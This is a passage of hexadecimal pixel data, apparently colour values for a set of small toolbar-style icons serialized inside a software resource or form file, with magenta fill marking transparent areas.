0000D48221FFC67517FFB76C15FFB06E23FF000000000000000061A6B2FF83BB\n      C6FF92C5CFFF8EC3CCFF64A4AFFF77AAB2FF75A7AFFF5B9BA4FF7FB9C4FF80BC\n      C5FF6BA9B1FF3F7A82FF0000000000000000000000008989890091831C00CAC4\n      8F00B9B26E00CDC99300A29F3600E9E9E900E9E9E900199047008FCAA80090CB\n      A90090CBA9003BA7750085858500000000005DA964FF4C9C54FF48954FFF4990\n      4FFF00000000000000000000000000000000000000004A814DFF000000000000\n      000000000000000000000000000000000000E18B26FFD27C17FFC67517FFBA73\n      1FFF0000000000000000000000000000000000000000966935FF000000000000\n      000000000000000000000000000000000000000000000000000062A7B3FF98C8\n      D3FF96C7D1FF6DABB7FF5E9EA7FF00000000000000005E9EA7FF5E9EA7FF84BE\n      C7FF82BDC5FF3D7D86FF000000000000000000000000898989008F7F1600C4BB\n      8700B7AE6A00CAC48F009D982F00E9E9E900E1E1E10027975600289A5A00309E\n      640033A36D0033A36D00898989000000000084C38BFF80C389FF8DCC95FF83C4\n      8AFF54995AFF0000000000000000000000000000000034873AFF458B4AFF0000\n      000000000000000000000000000000000000F2AA55FFF2A750FFF4B265FFF2A9\n      54FFC27C2AFF00000000000000000000000000000000966935FF966935FF0000\n      000000000000000000000000000000000000000000000000000062A7B3FF9CCA\n      D4FF99C9D4FF559EAAFF00000000000000000000000000000000448893FF88BF\n      C9FF85BFC8FF41848CFF0000000000000000846912008A7413009E8E3A00C4BB\n      8700B5AC6500CAC48F00AEA85400A1A33300A4A23C00E1E1E100D5D5D500D5D5\n      D500D5D5D500F1F1F10089898900000000008ECD96FF75BF7EFF98D2A1FF94CF\n      9CFF86C78DFF5EA765FF398640FF347E3AFF2E7633FF34873AFF458B4AFF478D\n      4CFF00000000000000000000000000000000F2AA55FFF1A043FFF5BA76FFF4B6\n      6EFFF3AC5AFFEE8B17FFB1660EFFA65F0DFF99580CFFC9730FFFC26F0FFF9669\n      35FF00000000000000000000000000000000000000000000000056A1AEFF9FCC\n      D7FF9DCAD5FF56A1AEFF00000000000000000000000000000000468D98FF8CC1\n      CBFF89C1CAFF458791FF00000000000000007A580300A08D4200C0B57F00B7AE\n      6A00B2A76000BBB37300CBC79000B2AC59009D982F00D5D5D500E9E9E900F1F1\n      F100F1F1F100F1F1F1008585850000000000000000008ECD96FF85C98EFF9BD4\n      A4FF8FCE98FF92CF9AFF8DCC95FF88CA90FF83C68BFF7EC485FF79C17FFF478D\n      4CFF478D4CFF00000000000000000000000000000000F4B368FFF3AD5CFFF5BC\n      79FFF4B469FFF4B56CFFF4B265FFF3AF5FFFF2AA56FFF2A750FFF1A349FFC571\n      0FFFC5710FFF00000000000000000000000062A7B3FF62A7B3FF62A7B3FFA2CD\n      D8FFA0CCD7FF56A1AEFF63A8B4FF75B3BDFF56A6B1FF4D9BA6FF4D9BA6FF90C4\n      CEFF8DC2CCFF4F99A4FF4F99A4FF4F99A4FF0000000090772D00A08D4200C1B6\n      8100B2A76000CAC48F00AAA14E00968A2100E1E1E100D5D5D500FAFAFA00E9E9\n      E900DDDDDD00B2B2B200A9A9A90000000000000000000000000090CF97FF79C3\n      83FF89CA92FF94D09CFF95D19EFF90CF99FF8CCB94FF87C98FFF80C487FF4E95\n      54FF478D4CFF0000000000000000000000000000000000000000F4B46AFFF2A5\n      4BFFF3AF5FFFF4B770FFF5B872FFF4B56BFFF3B063FFF3AE5DFFF2A852FFD278\n      10FFC5710FFF0000000000000000000000000000000062A7B3FF66B1C1FF74B8\n      C7FF74B8C7FF68ABB7FF56A1AEFF000000000000000056A6B1FF6CABB6FF93C5\n      CFFF8FC4CEFF63A1ABFF4F99A4FF00000000000000009595950090772D00A493\n      4700C1B68100A493470091831C00E1E1E100D5D5D500D5D5D500FAFAFA00D5D5\n      D500A9A9A900A1A1A100000000000000000000000000000000000000000089C9\n      90FF89C990FF64B46CFF50A65AFF4B9E53FF45964DFF4FAC58FF5BA262FF5BA2\n      62FF000000000000000000000000000000000000000000000000000000000000\n      0000F3AF5FFFEF9428FFE58311FFD87B10FFCB7410FFEE8C1AFFEB8712FFEB87\n      12FF00000000000000000000000000000000000000000000000062A7B3FF66B1\n      C1FF7EBCCAFF56A1AEFF0000000000000000000000000000000061ABB6FF6DAB\n      B6FF69A8B4FF4F99A4FF000000000000000000000000A1A1A100F1F1F1008476\n      13009E8E3A0086760800F1F1F100F1F1F100F1F1F100F1F1F100E9E9E900A9A9\n      A900A1A1A1000000000000000000000000000000000000000000000000000000\n      000000000000000000000000000000000000000000004FAC58FF4FAC58FF0000\n      0000000000000000000000000000000000000000000000000000000000000000\n      00000000000000000000000000000000000000000000D9903AFFEB8712FF0000\n      00000000000000000000000000000000000000000000000000000000000062A7\n      B3FF62A7B3FF0000000000000000000000000000000000000000000000006CB1\n      BBFF6CB1BBFF0000000000000000000000000000000000000000A9A9A9009595\n      950080660500959595008989890089898900959595008989890099999900B2B2\n      B200000000000000000000000000000000000000000000000000000000000000\n      000000000000000000000000000000000000000000004FAC58FF000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      00000000000000000000000000000000000000000000EB8712FF000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      00000000000000000000000000000000000000000000499FD5004297D0003E91\n      CD0096C6DE000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      00000000000000000000000000000000000066BBE600C3EBF7007EE1F6009EE6\n      F7003E91CD008EBFD70000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000079797900545454004D4D\n      4D00454545003E3E3E00363636002E2E2E002727270027272700191919001919\n      1900191919001919190019191900000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      00000000000000000000A0694F008D563C008D563C0098675000000000000000\n      00000000000000000000000000000000000043AFE300C5F4FB0042D6F10047DB\n      F50081E0F5003C8ECB008EBFD700000000000000000000000000000000000000\n      000000000000000000000000000000000000000000009A9A9A00D1D1D100CACA\n      CA00C2C2C200BDBDBD00B2B2B200AAAAAA00A1A1A1009A9A9A00929292008888\n      8800868686008686860019191900000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000006393\n      B90021669C0081A7C50000000000000000000000000000000000000000000000\n      0000A2644700B17F5600D5B69200DAC2A500DAC2A500D2B38F00AA795100905F\n      4700000000000000000000000000000000004CB3E400BAEFFA0038D1F10027C4\n      EE004DDCF60081E0F5003C8ECB0086B7D1000000000000000000000000000000\n      00000000000000000000000000000000000000000000A1A1A100C2C2C200B2B2\n      B200888888008888880092929200797979006E6E6E0074747400545454004D4D\n      4D0061616100797979001C1C1C00000000000000000000000000000000000000\n      00000000000000000000000000000000000000000000000000006E9BC100548C\n      BB0088B4DD00175E96000000000000000000000000000000000000000000A25B\n      3A00CBA67C00D8BA9E00C29B7600B6896100B2845D00BD957100D5B69200C4A2\n      760088553C0000000000000000000000000043AFE300F0FCFE00AFEEFA0047DB\n      F50027C4EE0047DBF50081E0F5003E91CD007FB2CD0000000000000000000000\n      0000000000000000000000000000000000000000000000000000A1A1A100A1A1\n      A10000000000616161006161610045454500454545004D4D4D00363636000000\n      00004D4D4D006161610000000000000000000000000000000000000000000000\n      000000000000000000000000000000000000000000007AA3C9006396C4009CC0\n      E4006598C7002F70A30000000000000000000000000000000000B2754800CFA9\n      8000DABBA100BD906500B98A6100B6885E00B2845D00AF825B00AF825B00CDA9\n      8C00C4A2760094604700000000000000000090CFEE0043AFE30043AFE300AFEE\n      FA0046D6F2002AC9EF0038D1F1008CE7F8003C8ECB004E93C000287DD6002B84\n      D8005EA4CC00000000000000000000000000000000000000000000000000AAAA\n      AA00AAAAAA00AAAAAA00CACACA00BDBDBD00BDBDBD00C2C2C200888888007979\n      790079797900000000000000000000000000000000000000000000000000E8CE\n      B900DAB19100D3A47F00D09F7B00D2A58300ADA0980074A2CD00AACBE80074A2\n      CD003F7AAD000000000000000000000000000000000000000000BE905D00E1C2\n      A700C5966A00C5966A00E1CBB700FEFEFE00FEFEFE00EADCD000B2845D00B284\n      5D00D4B49800AA7951000000000000000000000000000000000043AFE300F0FC\n      FE00BAF1FB007EE1F60027D2F00036D4F50081E0F5003DA8E3009FF3FC00A8F5\n      FC002A80D7005EA4CC000000000000000000000000000000000000000000B2B2\n      B200BDBDBD00B2B2B200A1A1A1009A9A9A009A9A9A009A9A9A00A1A1A1009292\n      9200797979000000000000000000000000000000000000000000E8C8AE00E8C8\n      AE00F5E1CC00F8E6D300F8E6D300F3DDC800DFB99B00C7A7900085ADD5004E86\n      B9000000000000000000000000000000000000000000C48F5000D8BA9E00D5AC\n      8800C5966A00C1906800BD906500EADCD000FBF8F500B98A6100B98A6100B689\n      6100C49C7700D5B692009E68500000000000000000000000000090CFEE0043AF\n      E30044B1E30075C4EA00A8F5FC0038D1F1004DDCF60064E4F7003BCEF20031C9\n      EF0084EFFB00287DD600569BC50000000000000000000000000000000000C2C2\n      C200DADADA00AAAAAA00D1D1D100F1F1F100F1F1F100CACACA00AAAAAA00C2C2\n      C2007979790000000000000000000000000000000000F3DDC800EDD0B600F8E8\n      D900F5DEC800F3D8BC00F3D6BA00F3DDC800F5E1CC00DFBA9C009F9694000000\n      00000000000000000000000000000000000000000000C0813B00E3C5AD00D0A1\n      7500C4986A00C5966A00C5966A00EEE0D400FAF7F400B98A6100BD906500B98A\n      6100BD916800DFC4A90094553A00000000000000000000000000000000000000\n      00000000000090CFEE006EC3EA007EE1F60038D1F1005CDBF50068DFF60046D6\n      F20031C9EF0084EFFB00287DD600569BC5000000000000000000CACACA00DADA\n      DA00DADADA00F1F1F100DAD1CC00D5AB9000E3AD8900E6D9D300E5E5E500CACA\n      CA00AAAAAA0086868600000000000000000000000000EDD0B600F8E6D300F5E1\n      CC00F3DDC800F3D8BC00F3D8BC00F3D6BA00F3DDC800F3DDC800D2A583000000\n      00000000000000000000000000000000000000000000C6884000E4C9AF00D0A2\n      7900CB9C7000C4986A00C5966A00FEFEFE00FEFEFE00C5966A00C1906800C596\n      6A00C4986A00DFC4A90097583A00000000000000000000000000000000000000\n      00000000000043AFE300D5F7FC0088E7F8007EE1F6007EE1F6007EE1F60088E7\n      F8004DDCF60031C9EF00A8F5FC00287DD6000000000000000000CACACA00F1F1\n      F100DADADA00F1F1F100A49A9300E4B89B00EBB79800E7B08F00FAF9F900CACA\n      CA00CACACA0061616100000000000000000000000000F0CEAD00F8E8D900F5E1\n      CC00F3DDC800F3D8BC00F3DDC800F3D8BC00F3D6BA00F8E6D300D2A583000000\n      00000000000000000000000000000000000000000000D29D5A00DFBB9E00DAB2\n      9100CB9C7000CF9F7400CB9C7000DABBA100DABBA100C4986A00C4986A00C498\n      6A00CFA98000D8BA9E00AA6D5000000000000000000000000000000000000000\n      00000000000043AFE300BAF1FB007EE1F6007DE4F70088E7F80088E7F800BAF1\n      FB008ADAF3004DDCF600C0F8FD002F8FDA000000000000000000D1D1D100F1F1\n      F100E5E5E500FAF9F900A49A9300DAB8A100E5BAA000D8AF9500F6F6F600D1D1\n      D100DADADA0074747400000000000000000000000000F4D3B300F9EDE200F5E1\n      CC00F5DEC800F5DEC800F3DDC800F3D8BC00F3D8BC00F8E7D600D7A985000000\n      0000000000000000000000000000000000000000000000000000CD9B6700E6CA\n      B200D0A27900D0A17500CF9F7400FBF8F500FBF8F500CB9C7000CB9C7000CDA0\n      7600DABBA100B8895A0000000000000000000000000000000000000000000000\n      00000000000043AFE300DEF8FC0088E7F8007DE4F70093E9F800BAEFFA0043AF\n      E30043AFE300F0FCFE003197DD0069AED5000000000000000000E5E5E500F1F1\n      F100E5E5E500F1F1F100DFD4CC00A49A9300A49A9300DAD1CC00F1F1F100D1D1\n      D100CACACA0092929200000000000000000000000000F3D8BC00F8E8D900F8E8\n      D900F5E1CC00F5E1CC00F3DDC800F5DEC800F9E2CC00F5E1CC00DEB797000000\n      0000000000000000000000000000000000000000000000000000D29D5A00D9B1\n      8B00E6CAB200D6A87C00D0A27900E1C2A700E1C2A700D0A17500D0A17500DABB\n      A100D5AC8800B275480000000000000000000000000000000000000000000000\n      00000000000090CFEE0044B1E300CEF5FC0088E7F800A0ECF90043AFE30043AF\n      E300FEFFFF0038A0DF0069AED50000000000000000000000000000000000F1F1\n      F100F1F1F100F1F1F100F1F1F100FAF9F900FAF9F900F1F1F100D1D1D100E2E2\n      E200BDBDBD0000000000000000000000000000000000F8E8D900F9E2CC00F9ED\n      E200F8E7D600F5E1CC00F9E2CC00F5E1CC00F8E8D900EDD0B600ECD3BE000000\n      000000000000000000000000000000000000000000000000000000000000D190\n      4D00D9B18B00E6CAB200DFBB9E00D7AA8400D7AA8400D9B18B00E3C5AD00D5AC\n      8800B3703C000000000000000000000000000000000000000000000000000000\n      0000000000000000000090CFEE0044B1E300CEF5FC009DEBF900BAF1FB00FEFF\n      FF0043AFE3008ACBEB000000000000000000000000000000000000000000F1F1\n      F100F1F1F100F1F1F100F1F1F100BDBDBD00BDBDBD00DADADA00E5E5E500DADA\n      DA00BDBDBD000000000000000000000000000000000000000000F9E2CC00F9E2\n      CC00F8E8D900F9EDE200F9EDE200F8E8D900F3D8BC00EDD0B600000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000D59A5900D09F6900E0BE9F00E3C5AD00E3C5AD00DFBB9E00C8966100C688\n      4000000000000000000000000000000000000000000000000000000000000000\n      000000000000000000000000000090CFEE0043AFE300DEF8FC00DEF8FC0043AF\n      E30090CFEE000000000000000000000000000000000000000000000000000000\n      0000F1F1F100F1F1F100F1F1F100F1F1F100F1F1F100E5E5E500DADADA00CACA\n      CA0000000000000000000000000000000000000000000000000000000000F8E8\n      D900F9DDC100F6D6B700F4D3B300F4D3B300F5E1CC0000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      00000000000000000000D8A06400D1904D00CD8F4800D29D5A00000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      00000000000000000000000000000000000090CFEE0043AFE30043AFE30090CF\n      EE00000000000000000000000000000000000000000000000000000000000000\n      00000000000000000000F1F1F100E5E5E500E5E5E500E5E5E500000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000000000000000000000000000000000000FE00FE00FE00FE00FE00FE00FE00\n      FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00\n      FE00FE00FE00FE00FE00FE00FE00FE00FE000000000000000000000000000000\n      0000000000000000000000000000818181007D7D7D0000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000000000000000000000000000000000000D9BBA500C28C6600BF8A6500BC86\n      6200BC866200B6805D00B57F5D00B57F5D00B57F5D00AE785600AE785600AC76\n      5500AC765500AC765500AC765500C6A794000000000000000000000000000000\n      0000000000000000000089898900BCBCBC00B5B5B50069696900000000000000\n      000000000000000000000000000000000000C7C7C700A1A1A1009D9D9D009D9D\n      9D009D9D9D009D9D9D009D9D9D009D9D9D009D9D9D009D9D9D009D9D9D009D9D\n      9D009D9D9D009D9D9D00A1A1A100C9C9C9000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000000000000000000000000000000000000C8926B00CDCDCD00D4D4D400D4D4\n      D400D4D4D400CDCDCD00CDCDCD00CDCDCD00C4C4C400CDCDCD00C4C4C400C4C4\n      C400C4C4C400C4C4C400AEAEAE00AC7655000000000000000000B5B5B5006969\n      6900747474000000000089898900CDCDCD00C5C5C50074747400000000006969\n      69004F4F4F00909090000000000000000000A1A1A100F4F4F400F4F4F400F4F4\n      F400F4F4F400F4F4F400F4F4F400F4F4F400F4F4F400F4F4F400F4F4F400F4F4\n      F400F4F4F400F4F4F400F4F4F400A1A1A100000000000000000075B0E5003D8F\n      DB003289D9003289D9003289D9003289D9003289D9003289D9003289D9003289\n      D9003289D9003289D90084B8E80000000000C8926B00FFFFFF00FFFFFF00FFFF\n      FF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFF\n      FF00FFFFFF00FFFFFF00FFFFFF00AC76550000000000D2D2D200BCBCBC00E2E2\n      E200A6A6A6008989890081818100CDCDCD00C5C5C5006969690074747400A6A6\n      A600D2D2D20081818100ACACAC00000000009D9D9D00F4F4F400F4F4F400F4F4\n      F400F4F4F400F4F4F400F4F4F400F4F4F400F4F4F400F4F4F400F4F4F400F4F4\n      F400F4F4F400F4F4F400F4F4F4009D9D9D00000000004698DC00DEF0FA00A6DD\n      F4009DDBF40095DAF3008DD8F30085D7F3007ED4F2007ED4F20071D2F10071D2\n      F10068CFF100C1EAF8003E93DB0000000000C8926B00FFFFFF00FFFFFF00FFFF\n      FF00FFFFFF00FFFFFF00F9F9F900FFFFFF00F9F9F900FFFFFF00F9F9F900FFFF\n      FF00F9F9F900F9F9F900FFFFFF00A871510000000000D2D2D200ACACAC00D2D2\n      D200C5C5C500CDCDCD00D2D2D200C5C5C500C5C5C500CDCDCD00C5C5C500BCBC\n      BC00CDCDCD0069696900B5B5B500000000009D9D9D00F4F4F400F4F4F4005C5C\n      AC005C5CAC005C5CAC005C5CAC005C5CAC005C5CAC005C5CAC005C5CAC005C5C\n      AC00F4F4F400F4F4F400F4F4F4009D9D9D00000000003E93DB00EEFAFE00A1E9\n      F90091E5F80080E1F70071DEF60062DAF50053D7F40043D3F30039D0F2002ECD\n      F10025CBF000CAF2FB003E93DB0000000000D19B7200FFFFFF00FFFFFF00F9F9\n      F900F9F9F900F2F2F200F2F2F200F2F2F200F2F2F200F2F2F200F2F2F200F2F2\n      F200F2F2F200F2F2F200FFFFFF00AC7655000000000000000000D2D2D200C5C5\n      C500C5C5C500C5C5C500C5C5C500ACACAC00A6A6A600C5C5C500BCBCBC00B5B5\n      B500ACACAC00B5B5B50000000000000000009D9D9D00F4F4F4005C5CAC005C5C\n      AC00F4F4F4005C5CAC005C5CAC00F4F4F4005C5CAC005C5CAC00F4F4F4005C5C\n      AC005C5CAC00F4F4F400F4F4F4009D9D9D00000000003A9ADB00F1FAFD00B2ED\n      FA00A1E9F90091E5F80080E1F70075DEF60062DAF50053D7F40043D3F30039D0\n      F2002ECDF100CAF2FB003A9ADB0000000000D19B7200FFFFFF00FFFFFF00F9F9\n      F900F9F9F900F9F9F900F9F9F900F2F2F200F9F9F900F2F2F200F2F2F200F2F2\n      F200F2F2F200F2F2F200FFFFFF00AC765500B5B5B5009B9B9B00A6A6A600CDCD\n      CD00C5C5C500CDCDCD00B5B5B500E2E2E200E2E2E200A6A6A600C5C5C500BCBC\n      BC00BCBCBC006969690069696900747474009D9D9D00F4F4F400F4F4F4005C5C\n      AC005C5CAC005C5CAC005C5CAC00F4F4F4005C5CAC005C5CAC00F4F4F4005C5C\n      AC005C5CAC00F4F4F400F4F4F4009D9D9D000000000039A1DA00F1FAFD00CAF2\n      FB00B8EFFB00ABECFA00A1E9F9008AE3F7007BE0F6006BDCF6005CD9F5004ED6\n      F40043D3F300D0F3FC0039A1DA0000000000D19B7200FFFFFF00FFFFFF00FFFF\n      FF00F9F9F900F9F9F900F9F9F900F9F9F900F9F9F900F2F2F200F2F2F200F2F2\n      F200F2F2F200F2F2F200FFFFFF00B57F5D00C5C5C500E2E2E200D2D2D200C5C5\n      C500CDCDCD00B5B5B500DDDDDD000000000000000000E2E2E200A6A6A600C5C5\n      C500B5B5B500C5C5C500D2D2D200626262009D9D9D00F4F4F400F4F4F400F4F4\n      F400F4F4F4005C5CAC005C5CAC00F4F4F4005C5CAC005C5CAC00F4F4F4005C5C\n      AC005C5CAC00EFEFEF004D7BA300416F96000000000039A5DA00FFFFFF00FFFF\n      FF00F1FAFD00FFFFFF00EEFAFE00DEF0FA0094E6F80080E1F7007BE0F60062DA\n      F5005CD9F500D0F3FC0039A1DA0000000000D7A07700FFFFFF00FFFFFF00FFFF\n      FF00FFFFFF00FFFFFF00F9F9F900F9F9F900F9F9F900F9F9F900F9F9F900F9F9\n      F900F2F2F200F2F2F200FFFFFF00AC765500C5C5C500E2E2E200DDDDDD00C5C5\n      C500CDCDCD00A6A6A600DDDDDD000000000000000000E2E2E200ACACAC00C5C5\n      C500BCBCBC00C5C5C500DDDDDD00696969009D9D9D00F4F4F400F4F4F4005C5C\n      AC005C5CAC005C5CAC00F4F4F400F4F4F4005C5CAC005C5CAC005C5CAC005B5B\n      AA00EFEFEF00578BB7008CB1D40042709B000000000037ABDA00E9F6FB0093D4\n      EF0087CEEE0072C0E900C9E9F600EEFAFE00F1FAFD00F1FAFD00F1FAFD00F1FA\n      FD00EEFAFE00FFFFFF0039A5DA0000000000D9A17800FFFFFF00FFFFFF00FFFF\n      FF00F9F9F900FFFFFF00FFFFFF00FFFFFF00F9F9F900F9F9F900F9F9F900F9F9\n      F900F9F9F900F2F2F200FFFFFF00B57F5D00D2D2D200CDCDCD00C5C5C500D2D2\n      D200CDCDCD00BCBCBC009B9B9B00DDDDDD00DDDDDD00ACACAC00C5C5C500BCBC\n      BC00CDCDCD0090909000909090009B9B9B009D9D9D00F4F4F400F4F4F400F4F4\n      F400F4F4F400F4F4F400F4F4F400F4F4F40092858B00A58E9100CCAD9300C8A9\n      8D00AB998E0096B1CB005C8CB7009D9D9D000000000039A5DA00F1FAFD0091DD\n      F40095DAF3007ED4F20069CAED0069CAED0085D7F3007FD2EF0079D0EF0075CF\n      EE0075CFEE00EEFAFE003AB4DB0000000000D9A17800D4D4D400D4D4D400D4D4\n      D400D4D4D400D4D4D400D4D4D400D4D4D400D4D4D400D4D4D400D4D4D400CDCD\n      CD00D4D4D400CDCDCD00CDCDCD00B6805D000000000000000000E2E2E200D2D2\n      D200CDCDCD00CDCDCD00BCBCBC009B9B9B00A6A6A600BCBCBC00C5C5C500C5C5\n      C500B5B5B500C5C5C50000000000000000009D9D9D00F4F4F400F4F4F400F4F4\n      F400F4F4F400F4F4F400F4F4F400C6B8AA00BBAAB200CBB9BF00F7E0C700F8E2\n      CB00F3D1B300A7998F00F4F4F4009D9D9D00000000003FB2DC00FFFFFF008DE4\n      F8008AE3F7009EE0F500ABE1F600F1FAFD00F1FAFD00F1FAFD00F1FAFD00EEFA\n      FE00EEFAFE00F1FAFD0058C1E00000000000D9A17800D4D4D400D4D4D400D4D4\n      D400D4D4D400D4D4D400D4D4D400D4D4D400D4D4D400D4D4D400D4D4D400CDCD\n      CD00CDCDCD00CDCDCD00D4D4D400BC86620000000000E2E2E200C5C5C500DDDD\n      DD00D2D2D200DDDDDD00DDDDDD00D2D2D200D2D2D200DDDDDD00CDCDCD00CDCD\n      CD00CDCDCD007D7D7D00BCBCBC00000000009D9D9D00F4F4F400F4F4F400F4F4\n      F400F4F4F400EFEFEF00F4F4F400C5AA9400F2E3D400F4DAC100F3D8BD00F3D8\n      BD00F8E2CB00C4A48B00BDBDBD00C7C7C700000000003AB4DB00FFFFFF00FFFF\n      FF00FFFFFF00FFFFFF00FFFFFF00EEFAFE006EC8E3006EC8E3006EC8E3006EC8\n      E3007CCEE6007FD2EF000000000000000000D9A17800D9A17800D19B7200CF99\n      7100CF997100CF997100C8926B00C8926B00C7906A00C7906A00C28C6600C790\n      6A00C7906A00C28C6600C28C6600BF8A650000000000E9E9E900DDDDDD00E9E9\n      E900DDDDDD00C5C5C500BCBCBC00D2D2D200D2D2D200B5B5B500ACACAC00CDCD\n      CD00E2E2E200B5B5B500C5C5C500000000009D9D9D00F4F4F400F4F4F400F4F4\n      F400EFEFEF00F4F4F400EFEFEF00C8A98D00F8EADC00F4DAC100F4DAC100F3D8\n      BD00F8E2CB00CCAD9300C7C7C700000000000000000058C1E00061C2E10061C2\n      E10061C2E10061C2E10061C2E10055BEDF000000000000000000000000000000\n      000000000000000000000000000000000000DDAB8400F1DCCE00EAC09F00E8B8\n      9100E8B89100E8B89100E8B89100E8B89100E8B89100CDC8C400E8B89100CDC8\n      C400E8B891004363FF00EAC09F00C7906A000000000000000000E2E2E200D2D2\n      D200CDCDCD0000000000C5C5C500E2E2E200DDDDDD00BCBCBC0000000000B5B5\n      B500A6A6A600C5C5C5000000000000000000A1A1A100F4F4F400F4F4F400F4F4\n      F400F4F4F400F4F4F400F4F4F400CCAD9300F2E3D400F8E2CC00F6E0CA00F4DA\n      C100F2E3D400C5AA940000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000000000000000000000000000000000000E5BFA200DEB39000D9A17800D9A1\n      7800D9A17800D9A17800D9A17800D7A07700D19B7200D19B7200D19B7200CE98\n      6F00C8926B00C8926B00C59D7E00D0AC92000000000000000000000000000000\n      00000000000000000000CDCDCD00E2E2E200E2E2E200B5B5B500000000000000\n      000000000000000000000000000000000000C7C7C700A1A1A1009D9D9D009D9D\n      9D009D9D9D009D9D9D009D9D9D00AA9F9100DDC3AB00F4E6DA00F8ECDF00F6E0\n      CA00E3C9B200C3B3A50000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000000000000000000000000000000000000FE00FE00FE00FE00FE00FE00FE00\n      FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00\n      FE00FE00FE00FE00FE00FE00FE00FE00FE000000000000000000000000000000\n      00000000000000000000E9E9E900D2D2D200D2D2D200E2E2E200000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000000000000000000000000000000000000C3B3A500BFAE9700C8A98D00CDAF\n      9500BFAE97000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000000000000000000000000000000000000000000000000000000000000225B\n      C0FF0441BBFF1E58BFFF00000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000002371\n      40FF186A36FF237140FF0000000000000000FE00FE00FE00FE00FE00FE00FE00\n      FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00\n      FE00FE00FE00FE00FE00FE00FE00FE00FE000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      00000000000000000000000000000000000000000000000000002765C9FF2076\n      E6FF0578EAFF0163DDFF064EBCFF000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000278B52FF63B9\n      8CFF94D2B1FF63B98CFF278B52FF00000000FE00FE00FE00FE00FE00FE00FE00\n      FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00\n      FE00FE00FE00FE00FE00FE00FE00FE00FE000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      00000000000000000000000000000000000000000000000000FF000000FF0000\n      00FF000000FF000000FF000000FF000000FF000000FF064EBCFF629CF4FF177E\n      FFFF0075F8FF0075EEFF0367E1FF1D57BFFF00000000000000FF000000FF0000\n      00FF000000FF000000FF000000FF000000FF000000FF1B6C3DFF63B98CFF5FB8\n      86FFFFFFFFFF5FB886FF63B98CFF1F6E3CFFC5A08B00C28D6700BF8A6500BC86\n      6200BC866200B6805D00B37D5B00B37D5B00AE785600AE785600AC755500AC75\n      5500AC755500AC755500AC755500C5A08B008080800080808000808080008080\n      8000808080008080800080808000808080008080800080808000808080008080\n      800080808000808080000000000000000000808080FF808080FF808080FF8080\n      80FF808080FF808080FF808080FF808080FF808080FF0441BBFFADCDFEFFFFFF\n      FFFFFFFFFFFFFFFFFFFF177EEFFF0441BBFF808080FF808080FF808080FF8080\n      80FF808080FF808080FF808080FF808080FF808080FF307A4BFF9BD4B5FFFFFF\n      FFFFFFFFFFFFFFFFFFFF94D2B1FF186A36FFC8926B00FFFFFF00FFFFFF00FFFF\n      FF00FFFFFF00FFFFFF00DCA57900FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFF\n      FF00FFFFFF00FFFFFF00FFFFFF00AC75550080808000FFFFFF0000FFFF00C0C0\n      C00000FFFF00C0C0C00000FFFF00C0C0C00000FFFF00C0C0C00000FFFF00C0C0\n      C00000FFFF00808080000000000000000000808080FFFFFFFFFF00FFFFFFC0C0\n      C0FF00FFFFFFC0C0C0FF00FFFFFFC0C0C0FF00FFFFFF0C56C0FF8CB4F6FF4C91\n      FFFF1176FFFF2085FFFF3F89EBFF225BC0FF808080FFFFFFFFFF00FFFFFFC0C0\n      C0FF00FFFFFFC0C0C0FF00FFFFFFC0C0C0FF00FFFFFF438861FF8FD3B0FF94D2\n      B1FFFFFFFFFF63B98CFF63B98CFF1F6E3CFFC8926B00FFFFFF00F3F3F300BABA\n      BA00BABABA00FFFFFF00DCA57900FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFF\n      FF00FFFFFF00FFFFFF00FFFFFF00AC75550080808000FFFFFF00C0C0C00000FF\n      FF00C0C0C00000FFFF00C0C0C00000FFFF00C0C0C00000FFFF00C0C0C00000FF\n      FF00C0C0C000808080000000000000000000808080FFFFFFFFFFC0C0C0FF00FF\n      FFFFC0C0C0FF00FFFFFFC0C0C0FF00FFFFFFC0C0C0FF00FFFFFF3774D2FF8CB4\n      